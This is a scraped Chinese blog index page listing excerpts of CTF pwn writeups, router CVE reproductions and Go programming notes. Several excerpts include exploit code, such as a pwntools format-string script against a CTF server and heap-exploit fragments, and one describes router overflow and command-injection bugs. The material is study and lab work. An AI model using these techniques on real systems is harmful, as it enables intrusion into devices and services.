自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

SkYe's Blog

我的个人博客:https://www.mrskye.cn

  • 博客(135)
  • 资源 (2)
  • 收藏
  • 关注

原创 GToken 自定义错误返回

假如说我们需要登录成功 Code 修改为 200 ,Data 修改为 token ,在。在生成 token 后调用。进行登录后处理,只需要在。完整返回报文对应结构体。

2023-04-25 23:58:56 170 1

原创 golang分割子网

是模仿 ipaddress 的 go 库,能够实现相同输入输出。

2023-04-09 11:49:40 257

原创 【goframe学习】配置管理-更改加载的配置文件

需要实现程序,根据运行环境加载对应配置文件,配置文件以命名进行区分(config_xxx.yaml)。只记录更改配置文件方法,不涉及自动切换配置文件。goframe 配置管理模块 gcfg 设置有默认目录、默认文件(名),自动检索加载默认目录下默认文件。因此,分为两项修改操作,根据自身需求,选择其中之一或者进行组合。下面在基础上,添加个人理解和实际代码示例。

2023-02-12 01:53:27 1241

原创 pwntools发送eof信号

做题目遇到的两种 eof 信号需求情况:发送 eof 之后,后续不需要继续输入(vnctf-White-Give-Flag)发送 eof 之后,后续还需要继续输入(mtctf-blind)eof 发送后继续输入不用 mtctf-blind 做例子,因为利用 eof 绕过第一层之后,由于题目其他方面而无法 getshell ,用一个 demo 例子(来源)代替:#include <stdio.h>#include <stdlib.h>#include <stri

2021-05-28 00:50:05 1475

原创 第一届广东省大学生网络安全攻防大赛PWN Writeup

两个题目都是无输出堆题,最近一次比赛在 nepctf 遇到:https://www.mrskye.cn/archives/bdb75c49/#sooooeasy思路方法概述:https://www.jianshu.com/p/fe28639e406eBabyNote题目是基于 glibc 2.31 的菜单堆题。漏洞出现在 free 之后没有置零指针导致的 UAF :程序没有输出函数,倒是有一个提示的函数 gift 函数,输出堆地址最低两个字节,没用明白,到最后也不关他的事情。思路:利.

2021-05-24 17:44:32 3390 7

原创 2021 CVVD首届车联网漏洞挖掘赛线上初赛 Writeup

jwt原题https://blog.csdn.net/weixin_46676743/article/details/113726655带着Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImVicmVidW5hIiwicGFzc3dvcmQiOiIiLCJhZG1pbiI6ImdlaHIiLCJpYXQiOjE2MjA0NTgwMzJ9.QkpCPfCtmMmeEYRoLFzzT8ag7mIaIPIcbZLZAB

2021-05-09 23:26:09 2477 3

原创 Ubuntu安装arm、mips交叉编译链

废话之前学路由器的时候装 mips 和 mipsel 交叉编译链是用 buildroot 自己编译安装的,但是这玩意下载的内核文件是个国外地址,速度奇慢无比。还有就是他们俩装一个就行,可以通过参数调整大小端,加完参数不起作用,得根据 h4lo 师傅文章写得先编译再链接。这学期上嵌入式系统开发需要用到 arm 交叉编译链,找了一下有几种实现方法:apt 直接安装去 https://www.linaro.org/downloads/ 下载编译好的,配置一下环境变量就能用buildroot 自己编译

2021-03-07 11:06:32 3307

原创 ida反编译后查找函数外部哪个库方法

研究路由器固件时,这个函数调用外部函数库中的 usrGetPass :切换到固件根目录后:grep -rn "usrGetPass"匹配出含有 usrGetPass 的文件,第一个是分析的文件,第二个就是要找的动态函数库。在 ida 开头也有记录需要哪些外部函数库:...

2021-02-16 22:48:24 1218

转载 github更新fork项目,不额外增加commit方法

原文地址:https://gitbook.tw/chapters/github/syncing-a-fork.html第一招:砍掉重练这招很简单,就是把Fork 过来的专案砍掉,再重新Fork 一次,这样保证就会是最新版本。不要笑,虽然这招感觉技术力很低,但这招很好用,完全不需要打任何程式码或指令就可以完成。我也知道其实不少人会用这个方式在进行同步…第二招:跟上游同步比较有技术力一点的做法(其实也是比较正统的做法),就是把原作的专案设定成上游专案,Fetch 回来之后再自己手动合并。第一步:设.

2021-02-15 21:56:26 420

原创 CVE-2018-5767 栈溢出漏洞复现

TENDA-AC15 型号路由器上的一个漏洞,产生原因是没有限制用户输入,使用 sscanf 直接将输入拷贝到栈上,导致栈溢出。复现环境漏洞固件在官网没找着,去百度找到了,地址在这里版本号:V15.03.1.16qemu v5.2Ubuntu 18.04ida 7.5漏洞分析需要配置好 qemu 桥接网络,不能就去 patch 一下 check_network 的返回值。设置桥接网络安装依赖:sudo apt-get install bridge-utils um

2021-02-12 21:25:30 1234

原创 CNVD-2018-01084 远程代码执行复现

Dlink DIR 615/645/815 路由上远程代码执行漏洞。漏洞存在于 /htdocs/cgibin 二进制文件中,原因是 service.cgi 中未经过滤就将用户输入拼接到命令中。复现环境漏洞固件 Firmware:DIR-645_A1_FW: v1.02b08 (for WW) (tw官网选择 DIR-645 第一个文件)qemu v5.2Ubuntu 18.04ida 7.5(能搞 mips 反编译工具都行)直接运行如下:漏洞分析strrchr 匹配出 / 后面的参数后

2021-02-09 23:38:17 702

原创 2020 湖湘杯 PWN WriteUp

比赛的时候出去玩了,这就来复盘babyheap基本情况增删查改,数量限制比较宽松挺大的,大小固定 0xf8 。漏洞safe_read 写入大小为 0xf8 会溢出修改下一个 chunk size 最低两位为 \x00 。char *__fastcall safe_read(char *ptr, int size){ char *result; // rax read(0, ptr, 0xF0uLL); result = &ptr[size]; .

2020-11-11 16:48:29 686 3

原创 2020 西普杯 信息安全铁人三项 第四赛区 Writeup

namepie基本情况程序有后门:漏洞第二次输入栈溢出思路pie 保护 partly write 绕过。第一次输入泄露 canary ,第二次覆盖 ripEXPfrom pwn import *context(log_level='debug')# p = process("./namepie")p = remote("172.20.14.168",9999)elf = ELF("./namepie")p.recvuntil(":\n")name = 'skye'.lj

2020-11-09 08:50:59 3713 8

原创 HITCON_2018_children_tcache

tcache 结合 off by null基本情况Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledFORTIFY: Enabled基本堆管理器,有增删查功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护,数量上限为 12 ,使用的不是只递增的下标,而是哪个下标没有使用就用哪个,即只.

2020-10-24 00:58:15 880

原创 ciscn_2019_es_1 writeup

基本情况Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabled简单堆管理程序,有增删查功能。chunk 上限为 12 个,有 0x18 的结构体,又通过链表管理结构体。结构体如下:struct{ void **chunk_ptr;//8bit size_t size;//4bit int number;//(12

2020-10-24 00:57:28 686 1

原创 ciscn_final_3 writeup

基本情况Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledC++程序。只有两个功能,新建、释放堆块。数量上限为:24,大小限制为:0x78 。用列表维护,释放操作基于下标定位指针。新建完成后会输出堆 fd 内存地址。漏洞free 没指令指针,造成 UAF :unsigned __int64 my_free(){ __

2020-10-24 00:56:18 290

原创 [V&N2020 公开赛]easyTHeap writeup

基本情况保护全开[*] '/ctf/work/vn_pwn_easyTHeap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled基本堆管理器,有增删查改功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护堆,堆数量实际上不由两个全局变量控制,而是受限

2020-10-24 00:53:20 393

原创 ciscn_2019_n_3 writeup

基本情况这题被环境坑了一把,用的是 docker 环境做题,checksec 检测是保护全开,ida 分析时也没有留意地址都是真实地址,所以一直没想用 system@plt getshell 。。。后面才发现程序是关闭 PIE ,程序有 system ,直接调用不需要泄露 libc 操作。程序是一个有增删查的堆管理器,根据存储资料的类型分为两类,对应结构体如下:struct int_chunk{ void *rec_int_print(); void *rec_int_free();

2020-10-24 00:51:07 594

原创 劫持 64 位静态程序 fini_array 进行 ROP 攻击

[scode type=“lblue”]2020年8月6日 标题添加“静态程序”,补充与 64 位动态程序对比和利用方法差异小结[/scode]程序起点程序的启动流程如图所示:可以看到 main 函数不是程序起点,之前写的 格式化字符串盲打 也分析过 text 段起点是 _start 函数 。_start 函数调用__libc_start_main 完成启动和退出工作。具体看看 _start 函数:.text:0000000000401A60 public star

2020-09-13 22:49:31 688

原创 Python2中input()函数漏洞

函数简介input()函数是python中的内置函数,函数作用是从stdin中读取数据input() 与 raw_input() 区别python2 两个常见输入函数:input 和 raw_input 。raw_input() 会将输入的内容转换为字符串:#!/usr/bin/env python# -*- coding: utf-8 -*-a1 = raw_input("字符串:")print type(a1)a2 = raw_input("数字:")print type(a2)

2020-09-13 22:48:13 1553

原创 BUU刷题笔记2

#!/usr/bin/python-- coding: utf-8 --from pwn import *context(log_level = ‘info’, os=‘linux’, arch=‘amd64’)p = process("./note3")p = remote(“node3.buuoj.cn”,25763)elf = ELF("./note3")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")def add(size,content)

2020-09-13 22:47:38 177

原创 2016 HCTF fheap writeup

基本情况Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: PIE enabled基本功能阉割版堆管理器,有增删功能。// 管理堆的结构体struct{ int inuse; String *str;} Strings[0x10];// 堆结构体typedef struct String{ union {

2020-09-13 22:47:06 301

原创 夜神模拟器adb连接错误,提示ADB SERVER VERSION (36) DOESN‘T MATCH THIS CLIENT (41); KILLING...

夜神模拟器升级到 6.6.1.1 后,adb 连接错误,提示如图:错误原因我用的是 sdk 的 adb ,server 的版本的 36 。夜神升级后的 adb server 版本是 41 不匹配所以错误。解决方法将 sdk 或者你自己安装的 adb 文件夹下的 adb.exe 复制到模拟器的 bin 目录,并重命名为 nox_adb.exe 替换原有的。重新进行链接即可。...

2020-08-08 11:50:14 4741 3

原创 Chunk Extend/Overlapping | 堆拓展、重叠

堆拓展&溢出绝大部分内容来自 CTF-WIKI ,内容引用用于学习记录介绍chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件:程序中存在基于堆的漏洞漏洞可以控制 chunk header 中的数据原理chunk extend 技术能够产生的原因在于 ptmalloc 在对堆 chunk 进行操作时使用的各种宏。在 ptmalloc 中,获取 chunk 块大小的操作如

2020-08-06 15:37:04 1512 2

原创 buu刷题笔记--2020年第31周

前几周搞 pwn 有点想吐,搞搞 re 吧reverse11. PE文件分析用的是 Exeinfo PE 这个软件,吾爱上有分享,爱盘也有收录。这一步有点类似 pwn 查看程序的版本、保护情况:64 位的程序。2. 运行程序获取信息题目最好在 命令行 中运行,避免运行结束前的提示字符没来得及看就关闭了。3. x64dbg 打开也可以用 OD 打开,因为OllyDbg 官方中文,我用这个入门吧。用字符串定位程序关键位置,直接点面板的字符串,查找结果不全面的,需要在代码处右键选查找全.

2020-08-02 11:43:46 246

原创 linux系统调用号查询(pwn)

在线查询链接:https://syscalls.w3challs.com/分为32位和64位,链接中还有arm、mips等架构的系统调用号。32位cat /usr/include/asm/unistd_32.h #ifndef _ASM_X86_UNISTD_32_H#define _ASM_X86_UNISTD_32_H 1#define __NR_restart_syscall 0#define __NR_exit 1#define __NR_fork 2#define __NR_r

2020-07-06 23:21:44 822

原创 第五空间部分Writeup

twice分析保护情况Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)漏洞函数程序一共有两次输入的机会,第一次输入长度为 0x50+9 ;第二次输入长度为:0x50+0x20 。存储字符串的变量 s 距离 rbp 是 0x60 ,也就是第二次输入是栈溢出,溢出长度仅可覆盖 rip 。输入处理函数:__

2020-06-26 15:50:23 590

原创 redpwnCTF 2020 pwn部分writeup

coffer-overflow-0分析保护情况Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)漏洞函数题目给了程序源代码,但是我们还是按照正常题目做法分析二进制文件。漏洞就在 main 中,gets 函数存在栈溢出:int __cdecl main(int argc, const char **

2020-06-25 23:10:57 789

原创 DozerCTF Writeup

pwn - ret2 temp一开始记得不是这个题目名字,应该是 ret2dl-resolve ,高大上东西不会分析保护情况32 位动态链接;打开 NX ;Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)漏洞函数read 函数栈溢出ssize_t vuln(){ char buf;

2020-06-14 22:12:22 632

原创 RACTF Writeup pwn

大不列颠的 Rating 0 赛,还是持续 4 天的Not Really AI分析保护情况全关漏洞函数简单格式化字符串int response(){ char s; // [esp+0h] [ebp-208h] puts("How are you finding RACTF?"); fgets(&s, 0x200, stdin); puts("I am glad you"); printf(&s); return puts("\nWe hope .

2020-06-10 12:10:21 357

原创 修改AndroidManifest.xml启动debug

修改方法利用 apktool 等工具反编译后,得到 AndroidManifest.xml 。找到 application 标签,添加属性:android:debuggable=“true” ,修改后如图:查询是否开启 debug/data/system/packages.list这个文件记录所有安装应用的信息:包名、用户id、是否为debug模式、数据目录、是否release版、组id。安装 apk 后查询:C:\Users\SkYe>adb shell1|root@shamu:/ #

2020-05-21 10:57:27 3186

原创 攻防世界-eastjni-Writeup

eastjni考点:自定义密码表base加密、so分析前面的怎么定位 java 层关键位置就略过,查一下错误弹窗就能找到。输入字符串会作为 mainactivity/a 的参数输入:private boolean a(String paramString){ try { a locala = new com/a/easyjni/a; locala.<init>(); bool = ncheck(locala.a(para

2020-05-16 00:10:51 264

原创 攻防世界-easyjava-Writeup

easyjava[collapse title=“展开查看详情” status=“false”]考点:手撕算法部分函数名已重命名,懒得再找一份原题QAQ开门见山,mainactivity 就能找到加密算法入口。函数将输入值剔除flag{} ,然后传入加密函数。private static Boolean b(String string) { // 结尾} Boolean result; int index = 0; if(!string.startsWith("fla

2020-05-15 18:48:49 613

原创 攻防世界-string-Writeup

string[collapse title=“展开查看详情” status=“false”]考点:格式化字符串任意地址写小数题目前面有几个条件循环绕过,反编译就能看出,不再赘述。看漏洞函数:unsigned __int64 sub_400BB9(){ int v1; // [rsp+4h] [rbp-7Ch] __int64 v2; // [rsp+8h] [rbp-78h] char format; // [rsp+10h] [rbp-70h] unsigned __int64

2020-05-15 18:48:10 469

原创 攻防世界-guess_num-Writeup

guess_num[collapse title=“展开查看详情” status=“false”]考察点:利用栈溢出固定随机数__int64 __fastcall main(__int64 a1, char **a2, char **a3){ int v4; // [rsp+4h] [rbp-3Ch] int i; // [rsp+8h] [rbp-38h] int v6; // [rsp+Ch] [rbp-34h] char v7; // [rsp+10h] [rbp-30h]

2020-05-15 18:45:49 448

原创 攻防世界-level3-Writeup

level3[collapse title=“展开查看详情” status=“false”]考点:栈溢出、ROP(ret2libc)ssize_t vulnerable_function(){ char buf; // [esp+0h] [ebp-88h] write(1, "Input:\n", 7u); return read(0, &amp;buf, 0x100u); //溢出}打开了 NX 保护栈数据不可执行,程序没有预留后门。解决办法就是 ret2libc ,这

2020-05-15 18:35:11 474

原创 攻防世界-CGfsb-Writeup

CGfsb[collapse title=“展开查看详情” status=“false”]考点:写入小数字格式化字符串完整 exp :from pwn import *context.log_level = ';debug';p = remote("111.198.29.45",59528)#p = process("./CGfsb")pwnme = 0x0804A068payload = "%8c%12$n" + p32(pwnme)p.recvuntil("name")p

2020-05-15 18:34:30 239

原创 攻防世界-pwn-200-Writeup

pwn-200[collapse title=“展开查看详情” status=“false”]考点:栈溢出、泄露地址漏洞函数如下:ssize_t sub_8048484(){ char buf; // [esp+1Ch] [ebp-6Ch] setbuf(stdin, &buf); return read(0, &buf, 0x100u);//溢出}可操作空间空间很长就不需要什么骚操作了。就是没给 libc 文件,需要去libc database 查一下而已。查到

2020-05-15 18:33:58 355

原创 攻防世界-pwn-100-Writeup

pwn-100[collapse title=“展开查看详情” status=“false”]考点:栈溢出、ROP这个栈溢出每次固定要求输入 200 个字符,也没有别的了。ROP 操作也不需要往 bss 写入 /bin/sh ,直接在 libc 找一个就好了。(看到网上有这样的操作orz)#encoding:utf-8from pwn import *context.log_level = 'debug'context(os='linux',arch='amd64')p = remot

2020-05-15 18:33:31 362 1

原创 攻防世界-note-service2-Writeup

note-service2[collapse title=“展开查看详情” status=“false”]考点:堆上shellcode保护情况:NX 保护关闭Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX disabledPIE: PIE enabledRWX: Has RWX segments漏洞函数:存放堆指针的数组可越界存放。也就是堆指针可放置

2020-05-15 18:32:53 354

lol-skin-spider.zip

30行Python代码爬取英雄联盟全英雄全皮肤 2020年3月30日 22:19:58修改为免费加载

2020-01-14

Library_System.zip

C语言程序设计期末实训作业,选择题目是做一个**图书信息管理系统**。 这里给出源码,需要实训报告等,请前往文章中github地址下载 2020年3月30日 22:20:19再次修改为免费下载

2019-12-24

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除